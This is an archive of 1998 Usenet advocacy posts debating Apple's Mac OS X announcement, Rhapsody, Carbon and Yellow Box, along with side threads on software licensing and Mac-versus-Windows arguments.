References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <stevehix-1205981657110001@ip21.safemail.com>
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Michael Benedetti said:
> >
> > MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> > Good Thing. The MacOS is way past its prime.
Yea..... *WAY* past it's prime. I've had many 'discussions' with
advocates regarding the Mac's lack of PMT, PM, and Networking
Capability. FINALLY, the Mac OS will be able to compete with Win95/NT as
an equal. I see this as a positive thing for Mac users. If Mac OS-10
truely IS cross platform, I may give it a go on my Pentium machine.
Jim Mueller
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 00:46:59 GMT
Organization: Michigan State University
Message-ID: <6jaqi3$sb4$1@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
<6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3558D5DA.D65392B1@milestonerdl.com> M Rassbach wrote:
>
>
> spammers@ruin.the.internet.channelu.com wrote:
>
> > So at least for now we'll have DR2 for mach, 95 & NT along with
Intel &
> > PPC.
> > I see nothing about Sparc or HP contrary to others statements here
so
> > that
> > may be a bad sign to those interested in Sparc/HP ports. But I
think
> > Apple
> > has it's hands full trying to write drivers and give decent support
for
> > PPC/Intel.
> >
>
> And there is no announced support for NT 5.0/Win 98 either.
AFAIK this is true. And I agree with your sentiments below. It's not
looking
amazingly good in terms of YB at this point. I wish if Apple had bad
news
they'd just get it over with. Steve has this horrible habit of lying
about
all kinds of stuff. Someone said that last year we were to get three
things..
What was it Newton, CyberDog (or was that OpenDoc), and Rhapsody.
and the first two are dumped, and the last is questionable (we'll get
1.0
I maybe - if Apple doesn't change it's mind)
> > So why would they add support for ActiveX in YB for 95 if there was
> > some
> > question of whether YB would continue into the future.
>
> Why would Apple stop the spin off of the Newton group if they planned
on
> killing it?
Maybe because they didn't want any of the core technologies to go to
another party and who would buy it w/o a OS? I'm not sure why this
was done and I agree it sucked, sucks, etc. I have advocated that
Apple - Steve Jobs be honest with people about what is going on with
everything. Thinking that gee maybe people would appreciate someone
who is letting them know that they care enough to be honest and up
front
with them. They don't have to announce new stuff early but to at
least
be honest when they are loosing interest in something. If they were
wise
they'd at least solicit some feedback to see if anyone has any
compelling
arguments for why something should stay around.. Other than that
just being up front that they were loosing interest in the newton long
ago would have not made people happy, but at least they wouldn't
have felt strung along by lies, false hope.. Nothing worse than
knowing
that someone knew long ago that what you were working with would
be dead in 12 months and not telling you..
> > E"The bad news is that Apple doesn't seem to have been able to get
the
> > licensing fee of YB for Windows down to zero. This is terribly
> > unfortunate,
> > and I hope that they are continuing in this direction. Currently
the
> > scuttle-butt is that it will be between $10 and $50. I'd like to
have
> > more
> > concrete information on this, since this is crucial to many of us."
>
> Guess what? Apple is in the business to make money...and if that
means a
> $10-$50 charge, then that's the way it is. They dumped the Newton,
charged
> for quicktime, etc la. Time for the OpenSTEPpers to roll over and
get
> their lumps.
Yes this is true and they should. BUT I think you are wrong when you
think
just Apple is greedy. I suspect very much it's Adobe and DPS, and not
just Apple. If Adobe won't cut Apple some slack on DPS (that NeXT
helped
design & implement BTW) then Apple is going to have to add money just
to pay for tracking and licensing for Adobe - which will probably
double
the price Adobe wants.. So please unless you have facts don't just
blame
Apple. AFAIK Apple licenses DPS from Adobe and this was and probably
is one of the largest sticking points for NeXT/Apple releasing source
to
the WindowServer, Mach and BSD in one shot, but I don't preclude greed
from this equation since many things in this world tend to be created
because
of it.
> > "During the Q&A, the important questions where asked. Rhapsody will
be
> > released on Intel and they are commited to both the Intel version
and
> > the
> > Windows 95 versions."
>
> But no mention of NT 5.o or Windows 98 eh?
Not that I know of but there will be more to come I think. I look
forward to
more of Scott's articles.
> What a future for YellowBox.
WWDC isn't over yet. Maybe Apple will read some of the comments here
and make some decisions to really clairify some of their positions on
these
things. They would be wise to do so in my mind.
> > "Incidently, the deployment installation of YB for Windows is only
> > 8Mb!"
> >
> > At the very least it means we will get everything that was promised
> > for Rhapsody in 1.0. Whether we will get it all in Rhapsody2.0 =
MacOS
> > X
> > remains to be seen.
>
> Yup! Can't REALLY tell that 'till the code ships and someone
dis-assembles
> it.
Geeze just run strings binary and you'll know rather quickly. Also
the API's
for the Window server in the Developer release will show it. It will
be a while
before we know this though.
> > If Rhapsody 1.0 is simply to say hey we gave you
> > what we promised and now we will be moving on to other things (i.e.
> > no development/support for YB on 95/NT, and faultering support for
> > Intel in general - not precluding dropping of crossplatform support
> > in MacOS X - (PPC ONLY??? big mistake if so)) then we will have
> > some very serious problems..
>
> Well, one can hope if the whining MacOS only crowd has been heard
from,
> perhaps the !G3-MacOS X and YellowBox on many platforms will be heard
from.
Maybe but the number of us may not interest Apple. NeXT had often
ignored
small but vocal groups because they were small. The only way to get
Apple's
attention was to organize a petition and get a crapload of folks to
sign.
> Or, better yet :-) Someone grabs the Carbon API and does a
> Berkley-licensed implementation. That would show Apple eh?
All I have to say is why? I can't see it for 4% of the market.
> > Frankly I'm hedging my bets in my business and moving everything
> > that is possible to move to Linux and will continue to do so simply
> > to avoid being jerked around by every closed/proprietary vendor.
>
> Yup!
>
> > The solutions while they are there are nice but it will always be
> > better to be running on a underlying OS that has complete source.
>
> Yup!So, what's the GNUStep people have to say about this whole Apple
> soap-opera?
>
> > So to everyone in this thread. I say I don't think it is clear
anyone
> > is
> > getting screwed. What is clear is that Apple is reaching out to
MacOS
> > developers to give them a helping hand. And to this I say it's
good.
>
> Well, anyone who was excited over YellowBox cross-compatibilty and
was
> believing "YellowBox is the future of MacOS" is feeling like a Newton
> Developer right now.
>
Yup! I'm still holding my breath and my $500 bucks though.
Fortunately I
still have a 7-10 days to decide.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Andrew J. Smith" <ajs@tnrealestate.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody DR2 on G3 Powerbook?
Date: Tue, 12 May 1998 19:54:23 -0500
Organization: PSINet
Message-ID: <3558EF3F.6457673F@tnrealestate.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Does Rhapsody (oops...Mac OS X) DR2 support the new powerbooks yet?
ajs
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <35568A1C.467C3E71@nstar.net> <wAB51.973$0A3.4513475@news.itd.umich.edu> <35588B37.3790@CONVEX.COM>
In-Reply-To: <35588B37.3790@CONVEX.COM>
From: not@my.address.net
Message-ID: <k9661.1247$0A3.5858459@news.itd.umich.edu>
Date: Wed, 13 May 1998 00:52:32 GMT
NNTP-Posting-Date: Tue, 12 May 1998 20:52:32 EDT
On 05/12/98, Michael Peck wrote:
>Are virtue and oppression at odds, or in contradiction,
>with each other in the human soul? Absolutely.
>
One has nothing to do with the other. Virtues are robust dispositions towards
positive forms of behaviour. Example: An honest person has a standing
disposition to tell the truth, and the disposition is relatively stable across
differences in circumstance.
Whether or not you're oppressed has little to do with whether or not you're
honest (or kind, or humble, or ...)
>I hope I've helped to clear up your misunderstanding on this.
By running for cover under meaningless phrases like "in contradiction with each
other in the human soul"?
Hardly.
--
invert: umich.edu jdevlin
insert: shift "2"
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 18:55:49 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558E184.6D5B5EC1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org>
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And, personally, I don't think GPL protects code from Microsoft....he who
has the gold makes the rules...she who has the most lawyers wins....etc le.
Assuming MS did this - what public justification for open source, and how
wonderful it is!
Jason S. wrote:
> M Rassbach posted the following to comp.sys.mac.advocacy:
>
> >Or, better yet :-) Someone grabs the Carbon API and does a
> >Berkley-licensed implementation. That would show Apple eh?
>
> Ouch - then MS could use it (and make it incompatible with Apple's
> version). A Berkeley license offers no protection from MS.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 13 May 1998 01:34:55 GMT
Organization: I don't think so
Message-ID: <slrn6lhuds.om.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org> <3558E184.6D5B5EC1@milestonerdl.com>
M Rassbach posted the following to comp.sys.mac.advocacy:
>And, personally, I don't think GPL protects code from Microsoft....he who
>has the gold makes the rules...she who has the most lawyers wins....etc le.
>Assuming MS did this - what public justification for open source, and how
>wonderful it is!
Berkeley isn't exactly open source; it just offers no real protection
from companies that wish to incorporate your source into its product
should it get a copy of your source. Berkeley does not require that
the source be available, but it doesn't prevent anyone who gets it
from using it for whatever he wants (so long as you get credit in a
copyright statement).
GPL provides a legal impediment to MS (although how well that works in
practice is anyone's guess, as you point out).
>> >Or, better yet :-) Someone grabs the Carbon API and does a
>> >Berkley-licensed implementation. That would show Apple eh?
>> Ouch - then MS could use it (and make it incompatible with Apple's
>> version). A Berkeley license offers no protection from MS.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Random blatherings
Date: 12 May 1998 19:42:31 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jatq7$72e$1@xmission.xmission.com>
In the Apple press release, Apple stated that Rhapsody was a server OS
with an advanced software development environment.
I have heard no flat-out confirmations that Rhapsody will indeed be
dropped altogether, only that MacOS X is a PowerPC-only OS, and that MacOS
X and not Rhapsody will be the replacement for MacOS.
So I think it is within the realm of possibility that Apple plans to keep
Rhapsody around as the low-volume software development platform and server
OS.
It is also possible that this would means keeping the Intel port to kick
around, since Merced is looming on the horizon as the new high-performance
chip that will make or break system providers, and why stop development on
the Intel port when you are going to have to turn around and do it later,
anyway?
I also think it is within the realm of possibility that Apple will
make an official policy statement regarding which API they recommend, and
that will be an echo of what we have been hearing, which is "Carbon for
old, Yellow Box for new."
So hopefully by the end of the week, we will find out for sure which API
is the preferred, if Rhapsody will survive as a server and development OS,
if it will stay on Intel.
..............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple UNITES Rhapsody *and* Mac owners! was:(Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 18:10:12 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35588272.7523@earthlink.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl> <slrn6lgomg.l2e.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> Apple is working on TWO systems. Rhapsody and MacOS8.x
>
> After Carbon is done, Apple will be working on *ONE* OS, Rhapsody. Rhapsody
> has been renamed MacOSX.
Yes!
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 18:08:06 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355881F5.5EB1@earthlink.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100>
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Nathan Hughes wrote:
> So you are saying for sure that macos10 will be cross platform and
> applications written for it's principle API will only require a
> recompile to work on 90% of computers? Those are Rhapsody's strongest
> points when it comes to keeping apple relevant.
Yes.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 19:00:01 -0700
Message-ID: <see-below-1205981900020001@209.24.240.213>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <6j9ctj$15e$1@crib.bevc.blacksburg.va.us>
In article <6j9ctj$15e$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <3557A1DE.17A6@earthlink.net>, skellener@earthlink.net wrote:
>
> > I think everybody is confusing things here. Here's what I see from the
> > outlined plan.
>
> > The Blue Box = "Carbon". These are all the regular Mac API's that
> > everyone still uses. Carbon is not a new item, just a new name. Blue
> > Box was only a temp name.
>
> It sounds more like there are _two_ Blue Boxes -- the stripped-down,
> cleaned-up Carbon which enables true PMT, Mach VM, etc., and the original
> Blue Box for 100% binary compatibility. I'm guessing these will run as
> _separate_ Mach tasks, but I don't know.
Carbon is a replacement for Blue Box, but it otherwise totally different.
It isn't something that runs as a process in itself, since it doesn't run
MacOS itself. (I don't know much about Latitude, but from one description
here, it does sound quite similar).
> > The Yellow Box (Rhapsody API's) = Mac OS X. Yellow Box was only a temp
> > name.
>
> Again, it looks like Mac OS X is a lot more similar to "BlueBox on Mach
> plus Yellow Box for MacOS" than it is to Rhapsody.
Yes. It sounds like exactly that, plus Carbon (Latitude?), to allow
minimally modified Mac apps to run "natively" within the system (without
needing a virtual machine wrapper like Blue Box). It's more like Yellow
Box for Windows than like Soft Windows in that regard.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 19:03:31 -0700
Message-ID: <see-below-1205981903320001@209.24.240.213>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com>
In article <35586AD9.C2C2FFB0@milestonerdl.com>, mark@milestonerdl.com wrote:
> The course Apple laid out should get MacOS the help it needs....robbing
parts of
> Unix to improve MacOS.
>
> But, I'd LOVE to see a comment on:
>
> "YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
I'm not sure if that's a good way to position it. I don't think YB should
be "the future of MacOS" so much as a future cross-platform API (ie,
linked to Java), rather than specifically aimed at Apple developers.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 19:05:16 -0700
Message-ID: <see-below-1205981905160001@209.24.240.213>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com>
In article <35588453.6DD10BC8@milestonerdl.com>, mark@milestonerdl.com wrote:
> Rex Riley wrote:
>
> > What's real interesting?
>
> What?
>
> > Nobody is picking up on the backstory that no Mac Developer's deemed the Mac
> > marketplace worthy of a "new" application or a "rewrite" to Rhapsody.
>
> Ouch! That's as good as the Carbon was created to support Microsoft.
But how do you explain the tepid support for Yellow Box among Mac
developers, and their enthusiastic endorsement of Carbon?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 19:07:57 -0700
Message-ID: <see-below-1205981907570001@209.24.240.213>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <see-below-1105981925520001@209.24.240.244> <6j9fts$1cc$7@ironhorse.plsys.co.uk>
In article <6j9fts$1cc$7@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <see-below-1105981925520001@209.24.240.244> Matthew Vaughan wrote:
>
> > I agree. I think the writing has been on the wall for quite some time that
> > Yellow Box wasn't being pushed/adopted in the way it would need to be for
> > Apple to seriously pursue it as the future of the Mac.
> >
> Ah, but they are seriously pursuing it. As well.
> I admit I was confused (well, devastated) to begin with, but now it all makes
> sense.
>
> Best wishes,
>
> mmalc.
Yes, I didn't mean to say they're abandoning it (YB), just not counting on
everyone switching to it right away.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Tue, 12 May 1998 19:15:24 -0700
Message-ID: <see-below-1205981915240001@209.24.240.213>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214>
In article <B17DFB11-30D936@204.210.19.214>, "William V. Campbell Jr."
<wcampbe1@san.rr.com> wrote:
> Thanks for clearly up the misconceptions concerning MacOS X for so many
> people. I am not a programmer/developer, but I immediately understand where
> Jobs is going with this strategy.* MacOS X is Rhapsody*. Why can't people,
> (especially programmers) see this simple fact. You can program using the
> Yellowbox APIs or you can program using the new Mac APIs (Carbon). Seems
> very simple to me.
Yes. As far as I can tell, OS X is just Rhapsody (including Blue and
Yellow boxes) with the addition of the new Carbon framework (based on
Latitude? - I don't know much about this but that's what it sounds like).
It probalby won't ship with the BSD environment, but that's about it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 12:14:46 +1000
Organization: OzEmail Ltd.
Message-ID: <6javob$tpe$1@reader1.reader.news.ozemail.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net>
Forrest Cameranesi wrote in message ...
>>But, what about a state-of-the-art development environment, and
>>cross-platform compatility? I see what may be a pretty easy soloution to
>>these two problems.
Well as the initial hype/terror dies down - it seems YB and it's abilities remain.
The way I see it - Apple has just made every existing MacOS developer happy.
AND they've given a very good reason to buy Rhapsody-PPC (oops MacOS X)
instead of Rhapsody-Intel.
* the full range of Mac Apps available - optimised for the new system.
(with older apps running seemlessly side by side)
* the security and stability of the Rhapsody base (at least for now)
Even though YB is still there - they've just restricted it a lot in this
coming year:
* YB won't run on MacOS 8
* YB Runtime for Windows will cost ~$20
* Many mac developers will go Carbon short term - so less YB apps.
(but a lot more apps for PPC Rhapsody/X)
* No commitment to Rhapsody-Intel next year.
(given that MacOS X is really "Rhapsody 2.0 for PPC")
And about cross platform Carbon:
>>Could this <snip> allow a simple recompile for anything using
>>Carbon+YB, to OSX/PPC, OSX/Intel, or Win9x/NT? And if/when Merced becomes
>>popular, port to that too.
That doesn't seem too far fetched. It would hurt YB, but grow the cross-platform
promise. Is that good or bad?
If it keeps a Mac-Unix on Intel, and brings lots of apps and ease-of-use then great!
Pulsar wrote
>Mac OS X is Rhapsody renamed and Carbon added. All
>these announcements do not mean then end of Rhapsody, but rather
>essentially mean the end of Mac OS!!! Apple has announced this in such a
>way as to keep all the Mac OS faithful from panicking.
I'm really sitting on the fence in this debate. I think Mac OS X
is really Rhapsody 2 (Funny how all these articles are saying
"Apple drops Rhapsody 1.0 in favor of Rhapsody 2.0!")
All that can be said for sure is that current Mac developers just found
a way to get their programs running reasonably on the new OS.
Will MacOS X dumb down Rhapsody? or is it simply adding
new functionality?
I assume that MacOS X will be very similar to Rhapsody, with
a seemless bluebox (for non carbon apps) and the removal
of some 'obvious' unix-isms. But what about the next
version? I don't think Apple hasn't decided what it
will be based on or what it will support - which isn't good.
* All Carbon or YB? (or bits of each?)
* No Intel support? Windows 95 support? What about Merced?
* Proprietary underpinnings? or Unix? maybe just Mach?
To me "cross-platform, industry-standard, easy-to-use" is the key
to Rhapsody. From a network administrator perspective - I
can only be interested in a Unix based system. And since it will
need applications - I want the YB to thrive.
I know the Mac is easy to use - that never bothered me.
But the battle line is not "Mac or Windows" it's "Unix or Windows".
Greg
From: Nicolas Krinis <"ndk"@ nospam nbnet.nb.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Tue, 12 May 1998 23:07:48 -0400
Organization: NBTel Internet
Message-ID: <6jav7s$jfl$2@garnet.nbnet.nb.ca>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <MPG.fae6da055ab2b68989713@news.itg.ti.com> <casper-2704982124480001@wheat-b-33.monroeville.nb.net> <354552d4.0@news.together.net>
Mime-Version: 1.0
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> >>
> >>When a Mac has to reboot to load configurations it's "viola!". Even
> >>though Macs take longer to reboot, it's seen as trivial. Everytime a
> >>Windows computer has to do it, it's a long drawn out and painful process
> >>that shows how inferior Windows is. Such silly bias..
Maybe you can't count. Go back to my original post and take a looksee.
Rebooting the Mac is seldom necessary, but I do it just the same for good mesure.
It's not bias BTW, but I can see you haven't used a Mac in your life, like
many Wintel loosers on this NG.
Nicolas Krinis
From: jhorner@REMOVEwhro.org (-J)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 18:10:09 GMT
Message-ID: <35588f90.540402137@news.whro.org>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244> <35583135.7CE2CEC9@milestonerdl.com> <slrn6lgqa3.l2e.sal@panix3.panix.com>
On 12 May 1998 15:22:43 GMT, sal@panix3.panix.com (Salvatore Denaro)
wrote:
>On Tue, 12 May 1998 06:23:33 -0500, M Rassbach <mark@milestonerdl.com> wrote:
>>Apple needs to decide if
>>it's a hardware or a software company. If Apple tries using its software to
>>protect its hardware, it will continue to 'loose'.
>
>Apple is NOT a software company.
>Apple is NOT a hardware company.
>
Yes they are.
Will an Apple Computer run without a Mac OS? Yes, Linux will run on
it. Ok then, so can I call Apple and order the operating system? Yes I
can. -bang- software.
Can I call Apple and order a new Apple CDROM drive? Yes. -bang-
hardware.
Apple IS a software company
Apple IS a hardware company
>Apple is a SYSTEM company. Macintosh is a *SYSTEM* made up of custom hardware
>and custom software.
No, you can order Apple HARDWARE. Are you telling me we can ONLY order
the complete system and NOTHING else?
>
>Apple has been a SYSTEM company from day one.
No it has not.
>
>Apple ][ was a SYSTEM, made up of custom hardware and software.
Apple II may have been. But not after they made parts for replacement
or addons.
>
>Other system companies you might want to compare Apple to:
>Sun, SGI, IBM (AIX, AS/400. ES and dozens of others), Dec (VAX, Alpha, ultrix),
>HP (HPPA with HP/UX) and 3Com/Palm
>
>--
>sal@panix.com Salvatore Denaro
>"The reality of the software business today is that if you find
>something that can make you ridiculously rich, then that's something
>that Microsoft is going to take away from you." -- Max Metral
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <nagleEsvKot.1Hn@netcom.com>
Organization: Netcom On-Line Services
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31>
Date: Wed, 13 May 1998 03:07:41 GMT
Sender: nagle@netcom6.netcom.com
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
>In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>> Why are you skeptical of MacOS X's shipping date?
Because it's an Apple OS announcement. Look at their track record.
John Nagle
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 21:16:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559027A.D1024A0B@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213>
Mime-Version: 1.0
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Matthew Vaughan wrote:
> In article <35588453.6DD10BC8@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Rex Riley wrote:
> > > Nobody is picking up on the backstory that no Mac Developer's deemed the Mac
> > > marketplace worthy of a "new" application or a "rewrite" to Rhapsody.
> >
> > Ouch! That's as good as the Carbon was created to support Microsoft.
> But how do you explain the tepid support for Yellow Box among Mac
> developers, and their enthusiastic endorsement of Carbon?
The ouch is because its true, and it hurts.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 21:19:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559033D.89CD88D5@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <see-below-1205981903320001@209.24.240.213>
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Matthew Vaughan wrote:
> In article <35586AD9.C2C2FFB0@milestonerdl.com>, mark@milestonerdl.com wrote:
> > But, I'd LOVE to see a comment on:
> >
> > "YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
> I'm not sure if that's a good way to position it. I don't think YB should
> be "the future of MacOS" so much as a future cross-platform API (ie,
> linked to Java), rather than specifically aimed at Apple developers.
I believe at one time, "the future of MacOS" was how apple DID position
YellowBox.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 20:47:13 -0700
Message-ID: <see-below-1205982047140001@209.24.240.213>
